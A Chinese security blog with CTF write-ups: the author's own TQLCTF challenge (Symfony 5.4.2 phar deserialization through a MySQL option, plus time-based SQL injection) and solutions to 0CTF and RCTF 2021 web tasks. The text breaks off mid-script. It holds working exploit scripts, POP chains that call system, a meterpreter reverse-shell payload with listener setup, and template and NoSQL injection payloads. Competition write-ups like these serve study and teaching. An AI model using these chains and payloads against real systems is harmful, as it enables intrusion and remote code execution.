gml's blog

TQLCTF-SQL_TEST出题笔记

2022-02-20T08:37:20.000Z

本次TQLCTF算是Redbud第一次参与全国赛的命题和组织（也大概率是我最后一次参与，文末有退役老选手的小作文hhh），所以想给大家出一道有趣新颖的题目。一直没什么idea，所以想着找个框架挖一挖链子算了，但是可能比较俗，所以结合了mysql写文件，并加了一个独特的phar反序列化触发点。

题目环境：https://github.com/gml-sec/My-CTF-Challenges/tree/main/2022-TQLCTF-SQL_TEST

出题思路

选框架挖链子花了挺长时间，一些常见框架比如laravel、thinkphp等被挖烂了，最后发现Symfony5新版本似乎没啥链子，但是本人没有挖掘出最新版本RCE的链子，选了5.4.2版本挖了条链子。（测试中发现直接拿phpggc中Monolog的链子就能打，就把Monolog的依赖给删了）

众所周知mysql读写文件只能secure_file_path目录下进行，那如果这个目录不是常见路径就意味着无法写文件了么？显然不是，如果我们有注入之类的可以通过注入获取到这个目录，这道题目就是加了这个考点。

关于phar反序列化的触发点，参考了zsx这篇https://blog.zsxsoft.com/post/38，去翻了下php关于mysql相关源码，在ext/mysqlnd/mysqlnd_auth.c下有关caching_sha2_password认证的操作里找到了对php_stream_open_wrapper的调用。

将以上这三点结合起来，最终出了这道题，以下是完整题解。

题解

题目给了源码，是基于Symfony框架开发，版本是5.4.2。审计源码发现只有一个TestController：



namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\HttpFoundation\Request;

class TestController extends AbstractController
{
    /**
     * @Route("/test", name="test")
     */
    public function index(Request $request): Response
    {
        $con = mysqli_init();
        $key = $request->query->get('key');
        $value = $request->query->get('value');

        if (is_numeric($key) && is_string($value)) {
            mysqli_options($con, $key, $value);
        }
        
        mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0);
        if (!mysqli_real_connect($con, "127.0.0.1", "ctf", "gmlsec123456", "mysql")) {
            $content = '数据库连接失败';
        } else {
            $content = '数据库连接成功';
        }

        mysqli_close($con);

        return new Response(
            $content,
            Response::HTTP_OK,
            ['content-type' => 'text/html']
        );
    }
}

可以控制一个mysqli_options 的选项，然后连接本地数据库。

执行任意SQL语句

查阅mysqli_options 函数的相关文档：

很明显发现可以设置建立 MySQL 连接之后要执行的 SQL 语句。

php 7的环境下打印下MYSQLI_INIT_COMMAND的值：

~  php -a
Interactive shell

php > echo MYSQLI_INIT_COMMAND;
3
php >

尝试 /index.php/test?key=3&value=select%20sleep(3)，延时成功。因为没有回显，可以采用时间盲注的方式获取数据。（经测试，select if(1,(select exp(1000)),0)这种通过是否报错进行布尔盲注的方式不可以）

显然flag肯定不在数据库里（可以通过时间盲注获取数据也会发现没有任何新创建的数据库和表）。现在我们可以执行一条mysql的命令，尝试堆叠发现无果，create database、insert、update数据失败，load_file读取/etc/passwd也是失败。这时猜想是否题目设置了 secure_file_priv，尝试获取secure_file_priv目录。

平时我们经常使用的方式是 show global variables like '%secure_file_priv%'，现在没有回显，我们需要时间盲注的方式获取。我们还可以通过select @@global.secure_file_priv进行获取并进行盲注：

可以通过时间盲注得到目录：/tmp/53ca05a8a6854dc2cdceeeaf52671f27（这个目录在实际比赛中是动态的）

这个目录明显是故意设置，所以肯定这里是利用点。我们不知道这个目录下有什么文件，但是我们可以向这个目录任意写文件。Symfony 5.4.2 的版本并没有什么漏洞，所以通过文件包含getshell不太可能，我们可以自然想到可以通过写入phar文件，触发反序列化getshell。

要通过phar触发反序列化进行getshell，要有POP链和触发点。首先关注POP链，phpggc上最新的链子是 5.2 版本的，经过分析无法成功利用。将源码与 Symfony 5.4.2 的源码对比，发现去除了 Monolog 的依赖，Monolog的链子也利用不了，需要挖掘一条新的POP链。

挖掘POP链

寻找__destruct方法，因为有一些类都存在 __wakeup方法，所以剩下的也不多。剩下的类 __destruct方法调用也很乱，所以尝试搜索 __call 方法，看看有什么可以利用的。在vendor/symfony/cache/Traits/RedisProxy.php 定义的RedisProxy类存在__call方法：

public function __call(string $method, array $args)
{
    $this->ready ?: $this->ready = $this->initializer->__invoke($this->redis);

    return $this->redis->{$method}(...$args);
}

我们可以调用任意类的 __invoke 方法，并且参数可控。寻找可利用的 __invoke，在vendor/doctrine/doctrine-bundle/Dbal/SchemaAssetsFilterManager.php定义的SchemaAssetsFilterManager类：

/** @param string|AbstractAsset $assetName */
public function __invoke($assetName): bool
{
    foreach ($this->schemaAssetFilters as $schemaAssetFilter) {
        if ($schemaAssetFilter($assetName) === false) {
            return false;
        }
    }

    return true;
}

可以发现明显的动态函数调用，并且函数名和参数都可控。与之类似的vendor/symfony/console/Helper/Dumper.php 定义的Dumper类，这个更直接一些：

public function __invoke($var): string
{
    return ($this->handler)($var);
}

所以现在我们只需在 __destruct 中找到任意一个可控变量对任意函数的调用即可，类似$xxxx->xxxx()，这应该不难寻找，在vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php中定义的CacheAdapter类：

public function __destruct()
{
    $this->commit();
}

跟进：

至此，getshell 的POP链已经完成。exp：




//namespace Doctrine\Bundle\DoctrineBundle\Dbal {
//    class SchemaAssetsFilterManager
//    {
//        private $schemaAssetFilters;
//
//        public function __construct()
//        {
//            $this->schemaAssetFilters = array('system');
//        }
//    }
//}
namespace Symfony\Component\Console\Helper {
    class Dumper
    {
        private $handler;

        public function __construct()
        {
            $this->handler = 'system';
        }
    }
}

namespace Symfony\Component\Cache\Traits {
    class RedisProxy
    {
        private $redis;
        private $initializer;
        private $ready = false;

        public function __construct()
        {
            $this->redis = 'id';
            $this->initializer = new \Symfony\Component\Console\Helper\Dumper();
//            $this->initializer = new \Doctrine\Bundle\DoctrineBundle\Dbal\SchemaAssetsFilterManager();
        }
    }
}

namespace Doctrine\Common\Cache\Psr6 {
    class CacheAdapter
    {
        private $deferredItems;

        public function __construct()
        {
            $this->deferredItems = array(new \Symfony\Component\Cache\Traits\RedisProxy());
        }
    }
}


namespace {
    $a = new Doctrine\Common\Cache\Psr6\CacheAdapter();
    $phar = new Phar('test.phar');
    $phar->stopBuffering();
    $phar->setStub("GIF89a" . "");
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();
}

本地测试该POP链可用。

寻找触发点

现在只剩触发点，我们可控的就只有一对key和value，查看其他可以设置的选项，发现MYSQLI_SERVER_PUBLIC_KEY这个选项涉及文件操作，这个选项指定SHA-256 认证模式下，要使用的 RSA 公钥文件。

mysql8.0 之前的版本中默认的身份验证方式是mysql_native_password, 而在mysql8.0之后变为了caching_sha2_password。相信很多人在用php连接mysql8的时候都会出现错误情况，去搜基本都是由于默认的身份验证方式改变了。caching_sha2_password实现了SHA-256 认证，并且在服务器端使用缓存以获得更好的性能。官方文档：https://dev.mysql.com/doc/refman/8.0/en/caching-sha2-pluggable-authentication.html

查阅文档可以发现，客户端有两种方式指定服务端的公钥：一种是从服务端请求公钥，然后服务端将公钥发松给客户端；另外一种是客户端本地指定服务端公钥的路径：

上面提到的MYSQLI_SERVER_PUBLIC_KEY选项便是指定服务端公钥的路径。

那么既然这里存在读取文件的可能，是否可以触发phar反序列化呢？查阅PHP源码，在ext/mysqlnd/mysqlnd_auth.c 中可以找到mysqlnd_caching_sha2_get_key函数的实现：

可以看到，调用了php_stream_open_wrapper，因此可以来触发phar反序列化。

现在过程很明确：可以生成phar文件，通过mysql写入目录，再通过MYSQLI_SERVER_PUBLIC_KEY触发反序列化执行命令。

但是经过尝试发现最终触发失败，回显依然是数据库连接成功。这是因为caching_sha2_password认证方式下服务器端会使用缓存，如果不指定公钥连接就是向服务器请求key，所以一旦请求一次成功连接会保留着缓存，导致不会去加载我们指定的公钥。

查阅资料发现缓存存储在内存中：https://dba.stackexchange.com/questions/218190/where-is-the-cache-for-the-mysql-caching-sha2-password-auth-plugin-stored, FLUSH PRIVILEGES即可。这里0ops战队的解法也比较巧妙，通过修改用户密码，导致连接失败，同样会触发加载公钥的操作。

最终exp：

import requests, string, random, os, time

url = "http://127.0.0.1:7001"


def req(key, value):
    resp = requests.get(url + "/index.php/test", params={'key': key, 'value': value})
    return resp


def get_secure_file_priv():
    char_list = "_/" + string.ascii_letters + string.digits
    template = "select if((select substr(@@global.secure_file_priv,%s,1)='%s'),sleep(2),1)"
    data = ''
    for i in range(1, 100):
        flag = False
        for c in char_list:
            resp = req('3', template % (i, c))
            if resp.elapsed.seconds > 1.5:
                data += c
                flag = True
                print(data)
                break
        if not flag:
            print("end!")
            return data


def exp(secure_file_path):
    filename = "".join(random.sample(string.ascii_letters, 6)) + '.phar'
    file = os.path.join(secure_file_path, filename)

    # write phar file
    hex_data = open("test.phar", "rb").read().hex()
    command = "select 0x{} into dumpfile '{}'".format(hex_data, file)
    req('3', command)

    # check file exists
    command = "select if((ISNULL(load_file('{}'))),sleep(2),1)".format(file)
    if req('3', command).elapsed.seconds > 1.5:
        print("file write fail!")
        exit()

    # clean the cache
    req('3',"FLUSH PRIVILEGES")
    time.sleep(2)

    # trigger unserialize
    resp = req('35', 'phar://' + file)
    print(resp.text)


if __name__ == '__main__':
    secure_file_path = get_secure_file_priv()
    # secure_file_path = '/tmp/1ba652f29a29b74c5c7abb1abf6ba36e/'
    exp(secure_file_path)

写在最后

题目出完后预估难度中上，但没想到把大家都卡住了… 可能这个题很难一眼看出整个解题的思路，所以放了hint避免选手走歪了。出题不易，耗费了将近一周的时间，只希望大家玩的开心。

这次比赛后自己也算是正式退役了hhh，以后基本也不会再打比赛了（跟着TD摸鱼DEFCON真香）。回想自己这将近三年半的CTF经历，真是感慨万千。

直至现在，最开始每次比赛自己准时打开电脑兴致冲冲打开题目，然后毫无思路最后关闭电脑的画面依然历历在目。当时的NEX断层非常严重，学长忙毕业、找工作、考研等等，作为新人的我们几乎是全靠自己摸索前进。

后来大二下暑假参加XMan夏令营，才算是真正入门CTF，认识了小西、博栋、iromise等等厉害的师傅们，也认识了一群热爱CTF、热爱安全的小伙伴，还有欣蕾、扣肉这些带给我很大帮助的朋友们，这是我在XMan夏令营最大的收获。到后面与cxc，t1an5t这些NEX的小伙伴一起参加大大小小的比赛，才逐渐成长起来。

再到后来，自己保研进THU加入Redbud，进来后发现学长基本都退了。在种种外界因素影响下，战队同样面临巨大的断层问题，战队甚至无法保证每个方向有1-2个活跃人员。所幸我们通过招新成功招来思齐（@mcfx）和脑王（@nano）这样的神仙选手，加上xuanxuan、hustcw等小伙伴，几个人艰难支撑着Redbud。我们在212奋战的时候最常感慨的就是，别的战队人怎么这么多，怎么这么厉害hhh。惊奇的是，在大部分高校战队被卷死，联队为王的环境下，我们还取得了不错的成绩（当然大部分功劳可能还是mcfx和nano），但Web方向依然很挣扎，很多时候基本是我一人自闭。

对于CTF，吸引我的除了金钱、四处旅游等物质奖励，更多的是逼迫自己快速学习以及解出一道题时的快感。在我开始打CTF的时候，CTF是迅速入门安全的较好方式，但现在CTF尤其国内越来越卷，已经几乎成了劝退安全最好的方式了。加之现在CTF圈各方面鱼龙混杂，对于新人来说入门CTF就好像踏入了商场一样。之前陆队@Zeddy发过一个讨论CTF价值观的话题，我个人的感受是CTFer应该享受CTF，享受比赛的乐趣，攻防的快感，解题的成就感等等，不要把CTF当成安全的全部，也不要为了CTF而CTF，那样自己会越来越累，并且毫无收获。

到如今，一方面自己老了熬不动夜了，比赛也逐渐跟不上节奏了；一方面自己毕业压力也很大（论文太难了要毕不了业了orz），再坚持下去，自己可能也变成“为了CTF而CTF”了。今后自己需要专注于毕业，找工作这些事情了。最后希望更多的人能享受CTF，也希望Redbud能够传承下去屹立不倒hhh。

2021 0CTF FINAL wp

2021-09-28T13:12:40.000Z

这周末是TCTF/0CTF决赛，而恰好周六是巅峰极客决赛，这几天还被拉去打教育hw，打完巅峰极客基本是双开的状态，打完感觉人也快废掉了。只看了两个Web（其他题基本也没啥做出来的可能），整理了下题解。

win-win

windows+php8 环境，一行php。

第一天放了hint，session.upload_progress=off，看起来不能用session上传。

卡了很久，读不到什么有用的信息。这篇文章：https://blog.csdn.net/bylfsj/article/details/102771173提到windows下可以利用通配符进行包含。猜测题目由phpstudy、xampp等搭建，最后包含xampp的 apache_start.bat文件成功：?win=..\..\t<\apache_start.bat。

读取php.ini文件：?win=..\..\t<\php\phpi.ini，发现了路径：C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\

根据xampp默认配置，临时文件路径：C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\tmp\。尝试session上传+包含，成功（远程环境可能配错了）。

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool


HOST = 'http://c39294ecfe15141c45c17c301e267eba.winwin.pwnable.org/?win=..\..\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\\tmp\sess_abc'
sess_name = 'abc'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}

payload = '@'

def runner1(i):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
    }
    while 1:
        fp = open('/etc/passwd', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        if "gmmml" in r.content:
            print r.content
        fp.close()


pool = ThreadPool(32)
result = pool.map_async( runner1, range(100000) ).get(0xffff)

getshell后，找不到flag。

本地生成msf马：

1	msfvenom -p windows/meterpreter/reverse_tcp lhost=202.112.51.236 lport=5555 -f exe -o shell.exe

服务器监听：

Use exploit/multi/handler
Set payload windows/meterpreter/reverse_tcp
Set lhost 0.0.0.0
Set lport 5555
Run

getsystem提权，利用mimikatz抓密码，空的。screenshot没有权限。打开3389端口：

1	REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

修改administrator密码：

端口转发，3389连接，flag在桌面txt上没有保存：

RevengePHP

题目考查thinkphp5.0.24反序列化，把网上现有的链子给堵了：

thinkphp/library/think/console/Output.php：

并且现有的链子是向web目录写shell，很显然这个题目还限制了web目录不可写。事实证明双保险是正确的，因为__wakeup并没有影响这条反序列化链。

因为之前一直没有分析过tp的反序列化链子，正好借着这个题从零学习了一波。这个题从第二天晚上11点开始看，审计到早上5点，实在是困得不行了，还要赶12点的飞机，直接睡了。赛后交流发现这个题解法不止一种（果然，日穿一个东西最简单的方法就是把他放到一场CTF里）

前面提到出题人添加了__wakeup方法来防止反序列化，其实__wakeup方法可以绕过，这个CTF中都被考烂了。但有趣的是，即使不进行绕过，事实上抛出异常也并不能阻止反序列化链子的向下执行。我把抛出异常替换成die也是一样的结果。

为了探究原因，开启调试，在__wakeup处下断点，成功断下来：

可以发现在执行到 __wakeup 的时候，所有的对象已经被成功反序列化（红框里所示）。此时我们点击运行下一步：

看到这里恍然大悟：抛出异常后程序会进入终止的逻辑，此时自然会进行对象销毁操作，而因为对象已经被成功反序列化，所以根本不会影响反序列化链的执行。

回到这个题目，虽然链子可以执行，但是web目录已经设置为不可写，所以同样需要另找链。

第一条RCE的链子同样是利用了thinkphp/library/think/console/Output.php中Output类的block方法，可以达到直接执行命令的效果，下面跟一下这条链。关于之前网上公开的thinkphp5.0.24的利用链，这里不过多赘述，不清楚的可以参考这篇文章学习一下。

在执行到thinkphp/library/think/session/driver/Memcached.php的write方法后，已有写shell的链子是利用了/thinkphp/library/think/cache/driver/File.php的set方法，这里我们利用thinkphp/library/think/cache/driver/Memcache.php 的set方法：

跟进 has 方法，这里的 name 变量是我们可控的变量和xxx拼接的结果。

getCachekey方法返回的 key可控，之后会调用 this->handler->get 方法，这里我们直接利用thinkphp/library/think/Request.php的get方法。如果对 thinkphp5 rce 漏洞有分析过的人可能会很熟悉，因为就是利用这个 Request 类进行 rce 的。后面反序列化 rce 的思路基本一样。

调用 this->input 方法：

进到input方法，调用 filterValue 方法。（filter变量由getFilter方法返回得到，可控。data变量也是由前面input类的 this->get 获得后进行一些操作，也可控）

进到 filterValue 方法，执行 call_user_func：

完成 RCE。整个调用栈：

Request.php:1094, think\Request->filterValue()
Request.php:1040, think\Request->input()
Request.php:706, think\Request->get()
Memcache.php:66, think\cache\driver\Memcache->has()
Memcache.php:98, think\cache\driver\Memcache->set()
Memcached.php:102, think\session\driver\Memcached->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array:{thinkphp/library/think/console/Output.php:212}()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\model\Pivot->toArray()
Model.php:936, think\model\Pivot->toJson()
Model.php:2267, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()

exp：



namespace think\process\pipes {

    class Windows
    {

        private $files = [];

        public function __construct($files)
        {

            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {

    abstract class Model
    {

        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {

            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx" => "getError");     //调用getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要为 relation类的子类，并且也是OnetoOne类的子类==>>HasOne
        }
    }

    class Request
    {
        protected $get = ['gml' => 'whoami']; 
        protected $filter = ['system', 'a'];
    }
}

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {

        function __construct($output, $modelRelation)
        {

            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation {

    class HasOne extends OneToOne
    {


    }


    abstract class OneToOne
    {

        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;

        function __construct($query)
        {

            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值，作为call函数引用的第二变量
        }
    }

}

namespace think\db {

    class Query
    {

        protected $model;

        function __construct($model)
        {

            $this->model = $model; //$this->model=> think\console\Output;
        }
    }
}

namespace think\console {

    use think\session\driver\Memcached;

    class Output
    {

        private $handle;
        protected $styles;

        function __construct()
        {

            $this->styles = ['getAttr'];
            $this->handle = new Memcached(); //$handle->think\session\driver\Memcached
        }

    }
}

namespace think\session\driver {

    use think\cache\driver\Memcache;

    class Memcached
    {

        protected $handler;
        protected $config = [
            'session_name' => '//',
            'expire' => '1'
        ];

        function __construct()
        {

            $this->handler = new Memcache();
        }
    }
}

namespace think\cache\driver {

    use think\Request;

    class Memcache
    {
        protected $handler;
        protected $tag = 1;
        protected $options = ['prefix' => 'gml/'];

        function __construct()
        {
            $this->handler = new Request();
        }
    }

}

namespace {
    $Output = new think\console\Output();
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne));
    echo urlencode(serialize($window));
}

2021 RCTF 部分Web题解

2021-09-13T05:47:23.000Z

这周末本来有报告ddl，说好的不打，结果还是忍不住去看了题（ROIS的Web每年评价都不错）… 打了两天，时间大部分浪费在了两个sql题目上。队里也没啥人打，一共打比赛的就四个人。

CandyShop

首先是Mongodb 注入，可以注入出密码。

后面pug模版渲染，address处可以拼接代码，但是没有require，构造成下面这种：

注意要有缩进，不然会报错很坑。我本地起了个环境，调试了一会才可以。

import requests

session = requests.Session()


def req(password):
    paramsPostDict = {"password[\x24regex]": password, "username[\x24regex]": "rabbit"}
    paramsPost = "&".join(
        "%s=%s" % (k, v) for k, v in paramsPostDict.items())  # Manually concatenated to avoid some encoded characters
    headers = {"Origin": "http://123.60.21.23:23333",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
               "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36",
               "Referer": "http://123.60.21.23:23333/user/register", "Connection": "close",
               "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9",
               "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://123.60.21.23:23333/user/login", data=paramsPost, headers=headers)
    if "You Bad Bad" in response.content:
        return True
    else:
        return False


def exp():
    data = ""
    for i in range(64):
        flag = False
        for c in "0123456789abcdef":
            payload = "^" + data + c
            if req(payload):
                data += c
                flag = True
                print data
                break
        if not flag:
            print "fail!"
            exit()
    return data


if __name__ == '__main__':
    password = exp()
    session.post("http://123.60.21.23:23333/user/login", data={'username': 'rabbit', 'password': password})
    resp = session.post("http://123.60.21.23:23333/shop/order", data={'username': 'rabbit', 'candyname': 'bunny_candy',
                                                               'address': "gml' readonly)\r\n                                \x23{global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(\"utf8\")}\r\n                                //"})
    print resp.content

easyphp

需要绕过nginx对 /admin的过滤，以及路径中要包含 login 的检查。

这个题比较坑，我本地起环境直接报错，必须docker起，所以我就在源码里用 var_dump 调试。

跟flight路由源码，https://segmentfault.com/a/1190000017289717?sort=newest

最终用正则匹配url的时候在net/Route.php：

pattern是/admin的时候，这个正则是这样的：

1	#^/admin/?(?:\\?.*)?$#i

并且默认不区分大小写，所以使用/Admin%3flogin 可以绕过。

后面还需要bypass对 ../ 的过滤，看看这个$request->query 怎么得到的：

这里因为前面%3f问号绕过，可能有点问题，%3f解码成了问号，后面的变成了参数：

可以看到login被识别成了一个GET参数，所以后面就可以拼接&来传入data来bypass WAF 对$_GET的过滤了。

但是 /ADMIN%3flogin=1&data=..%2f 不成功，因为%2f解码后变成了/，中间的又变成路径了。这里继续跟源码，发现 self::parseQuery 里有 parse_url，parse_url会进行一次urldecode：

所以二次编码可以绕过。

payload：/ADMIN%3flogin=1&data=..%252f..%252f..%252fflag

EasySQLi

这个题做了好久，最后还好终于出了，进行了很多的尝试。不过这题目从做下来到赛后跟出题人交流，学到了不少。

题目逻辑很简单，user()就是flag，需要注入出user()的数据。问题在于 where 的条件是假的，导致order by 的语句不会执行（其实where条件是真的也不能sleep，因为只有一行数据不需要order by）

失败的尝试

pdo 默认是可以堆叠的，但是这个题没给配置，就非常难受。开始的想法是order by 后面的语句根本就不会被执行，不堆叠不能做，所以测试了好久题目能不能堆叠。

本地搭建了一个非常近似的环境：


$dbms='mysql';     
$host='127.0.0.1'; 
$port = '2333';
$dbName='test';    
$user='root';      
$pass='123456';    
$dsn="$dbms:host=$host;port=$port;dbname=$dbName";

try {
    $dbh = new PDO($dsn, $user, $pass); 
    echo "连接成功
\n";
    $dbh = null;
} catch (PDOException $e) {
    die ("Error!: " . $e->getMessage() . "
");
}
$db = new PDO($dsn, $user, $pass);
set_time_limit(1);
$s = floatval(microtime());
// echo $s;
$order = '1;select sleep(4)';
$sql = "SELECT CONCAT('RCTF{',USER(),'}') AS FLAG WHERE '🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬' ORDER BY $order;";
echo microtime()."\n";
$stm = $db->prepare($sql);
echo microtime()."\n";
$stm->execute();
echo "Count {$stm->rowCount()}.";
echo "\n";

usleep((1 + floatval(microtime()) - $s) * 1e6);

起个 8.0.21 的mysql：

1	docker run --name sql -e MYSQL_ROOT_PASSWORD=123456 -p 2333:3306 -d mysql:8.0.21

默认pdo是可以堆叠的，所以本地这个环境堆叠没什么问题。

这个题代码里有一些对时间的操作，这个 set_time_limit(1);加上最后的 usleep，我本来以为是让脚本运行时间恒定为一秒左右，防止时间盲注。但是本地测试发现直接order设置成 1;select sleep(4)就可以sleep 4s。google 一下：

The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running. This is not true on Windows where the measured time is real.

看起来mysql操作不受这个函数的影响。但是远程就是不延迟，这让我对远程是否可以堆叠产生了怀疑。

本地测试还发现一个有趣的现象，即使sleep，但是运行php脚本，马上就 echo 了行数。所以第二条语句是在后台执行的，而不是在执行阶段卡住。以为这是考点，但是没什么卵用（不能堆叠）。

经过了大量的本地测试和远程尝试，可以基本确定远程不能堆叠注入….

感觉不是时间盲注，但是题目对时间的操作确实奇怪，一直stuck，就去看另一个sql了。

直到第二天晚上放了hint：time-based。继续硬着头皮看，想到了一个问题，为什么用prepare和execute而不是直接query，莫非 prepare 的时候有延迟的方法？

然后就是各种尝试，使用mysql client 终端的 prepare 进行测试，测试很多发现后面还是不会执行…

发现updatexml

另一个 ns_shift_sql 题目是考报错的，我随便在这个题直接扔一个 updatexml 报错注入的payload，没想到居然在prepare阶段被执行了：

瞬间狂喜，感觉可以搞，但是不能用 sleep。要想办法让mysql去做一些费时的操作造成延迟，所以尝试用一大堆hex，因为这个计算量是成倍增加。

prepare a from  "select 1 where 0 order by updatexml(1,concat('~',(if(1,(select length(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex('11111111'))))))))))))))))))))))))))))))))))))))))))))))))))),'a'),1)),1)";

结果mysql这个容器直接挂了，而if后面改成0，不会挂。看样子可以盲注了。

我直接试了一下打远程，结果远程环境 mysql 直接挂了。减少点hex，经过测试，大约30个hex，里面数据是 ‘1’，不会挂掉，并且远程环境能延时3秒多，非常不错。

import requests
import time

session = requests.Session()


def req(order):
    paramsGet = {
        "order": order}
    headers = {"Cache-Control": "no-cache",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36",
               "Connection": "close", "Pragma": "no-cache", "Accept-Encoding": "gzip, deflate",
               "Accept-Language": "zh-CN,zh;q=0.9"}
    cookies = {"PHPSESSID": "e5c4d349d498b38170023dc707e5f7fc"}
    t1 = time.time()
    response = session.get("http://124.71.132.232:11002/", params=paramsGet, headers=headers)
    t2 = time.time()
    if t2 - t1 > 2.5:
        return True
    else:
        return False


def exp():
    data = ''
    tem = "updatexml(1,concat('~',(if((substr(hex(user()),%s,1)='%s'),(select+length(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex('1')))))))))))))))))))))))))))))))),'a')),1),1)"
    for i in range(1, 100):
        flag = False
        for c in "0123456789ABCDEF":
            payload = tem % (i, c)
            if req(payload):
                data += c
                flag = True
                if i % 2==0:
                    print data.decode("hex")
                break
        if not flag:
            print "fail"


exp()

不过后面我尝试打挂题目，奇怪的是打不挂了。还以为出题人限制了，赛后问出题人没改题，应该是设置了 restart always。

赛后交流

与Nu1L的@wupco师傅交流了一下，他说prepare优先处理updatexml是老问题了，之前见过orz… 他用的是repeat函数来延迟，不过好像效果没有hex好，他跑了好几次的样子，时间都是精确到毫秒级别的。

与出题人也交流了一下，出题的想法是对抗mysql的优化，mysql 会提前计算一些表达式之类的能造成延迟。我在比赛中用的是mysql client 的prepare，没想到这跟pdo的prepare还有些不同。在命令行里updatexml prepare可以造成延时，但是在pdo却不可以：

我在prepare前，prepare和execute中间以及execute后都输出了一下时间，可以看到是在execute的时候才延时。所以这两个prepare还是有些不同的。

除了updatexml以外，出题人还提供了一种方式：

(
SELECT
    1
FROM
    JSON_TABLE (
        CONCAT ('[', REPEAT('1,', IF(0,1,9999999)), '1]'), '$[*]'
        COLUMNS ( 
            NESTED PATH '$' COLUMNS (r INT PATH '$')
        )
    )
AS t
)

利用 json_table 凭空捏一个表。

但是基于 json_table 和 updatexml 都无法注数据，也可以说是无法执行 from table_name，一旦出现这个逻辑就没有时间差了，这与prepare的处理有关系（现在做注入题都需要看mysql源码了么orz）。

另外一个有趣的点是，做题的时候因为搞prepare，所以就去翻prepare的文档，发现了这个：

8.0.22版本后prepare在确定参数类型这块有些修改。比赛的时候题目描述里写明了mysql版本是8.0.21，当时就感觉这块会不会就是考点，但是联系不上。赛后跟出题人交流，prepare里用 updatexml 可以造成延迟触发的地方就是确定类型这里（出题人扒源码的图）：

其中if (args[1]->const_item()就是限制了不用访问其他表。

我启了一个8.0.22的docker测试，发现常字符串还可以延时，但是user()这种就不行了：

mysql8.0.22后就给修了。

ns_shaft_sql

题目大致意思是有46关，每一关传入一句sql，要让mysql报错，并且报错信息含有特定字符串（需要用select查询）。每过一关，会把你这关的sql语句里用到的所有函数提取出来，再去一个名为$mysql_function的数组里查找，如果存在就加入到黑名单，你下一关就不能用这个函数了。有个例外，unhex和concat两个函数可以随便使用，相当于在白名单里。

经过测试常见的报错注入函数，像 updatexml，extractvalue都在这个列表里，猜测这应该是个mysql所有函数的列表？为了搞出这个列表，我把mysql文档上的function列表拖了下来，然后写了个脚本去测试：

import requests
from base64 import b64encode


def test(function):
    s = requests.session()
    content = s.get("http://124.71.132.232:23334/").content
    index = content.find('key is ') + len('key is ')
    key = content[index:index + 8]

    sql = "select '%s',updatexml(1,concat(0x7e,(select v from s where k='%s'),0x7e),1)" % (function, key)
    resp = s.get("http://124.71.132.232:23334/", params={'sql': b64encode(sql)}).content
    resp = resp[resp.find('floor 2'):]
